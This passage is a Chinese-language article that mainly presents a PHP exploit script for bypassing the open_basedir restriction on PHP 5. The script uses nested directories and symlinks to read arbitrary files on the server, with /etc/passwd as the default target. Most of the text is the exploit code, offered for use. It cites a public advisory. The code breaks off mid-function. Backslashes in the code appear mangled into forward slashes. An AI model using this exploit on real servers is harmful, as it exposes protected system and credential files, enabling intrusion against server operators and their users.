PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

漏洞很久之前（大概5年前）被提出来了，但并不是php代码上的问题，所以问题一直存在，直到现在。我一直没留意，后来yaseng告诉我的，他测试了好像5.5都可以。

漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068。

给出我写的EXP：

代码如下:
<?php
/*
* by phithon
* From //www.jb51.net
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s/nphp_version: %s/n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s/n", ini_get('disable_functions'));
$file = str_replace('//', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "/n-----------------content---------------/n/n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '//') . '/';
  $from = str_replace('//', '/', $from);
  $to   = str_replace('//', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;